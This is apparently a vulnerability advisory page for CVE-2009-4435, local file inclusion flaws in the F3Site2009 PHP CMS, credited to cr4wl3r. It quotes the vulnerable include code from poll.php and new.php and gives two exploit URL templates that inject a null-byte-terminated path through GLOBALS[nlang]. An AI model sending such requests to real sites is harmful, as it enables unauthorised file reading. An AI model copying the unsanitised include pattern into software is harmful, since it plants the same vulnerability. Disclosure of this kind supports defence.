F3Site2009 Multiple LFI Exploit

2009.12.30

Credit: cr4wl3r

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-4435

CWE: CWE-22

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

##################################################################
## Exploit Title: F3Site2009 Multiple LFI Exploit               ##
## Date: 18-12-2009                                             ##
## Author: cr4wl3r                                              ##
## Software Link: http://code.google.com/p/f3site/              ##
## Version: N/A                                                 ##
## Tested on: GNU/LINUX                                         ##
##################################################################
 
~ Code [poll.php] :
 
if(file_exists('./cache/poll_'.$GLOBALS['nlang'].'.php')):
   include('./cache/poll_'.$GLOBALS['nlang'].'.php');
 
~ 3xplo!t :
 
 [F3Site2009_path]/mod/poll.php?GLOBALS[nlang]=[LFI%00]
 
 
~ Code [new.php] :
 
if(file_exists('./cache/new-'.$GLOBALS['nlang'].'.php'))
{
    include './cache/new-'.$GLOBALS['nlang'].'.php';
}
 
~ 3xplo!t :
 
 [F3Site2009_path]/mod/new.php?GLOBALS[nlang]=[LFI%00]

References:

http://xforce.iss.net/xforce/xfdb/54908

http://www.securityfocus.com/bid/37408

http://www.exploit-db.com/exploits/10536

http://packetstormsecurity.org/0912-exploits/f3site2009-lfi.txt

See this note in RAW Version

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F3Site2009 Multiple LFI Exploit

References:

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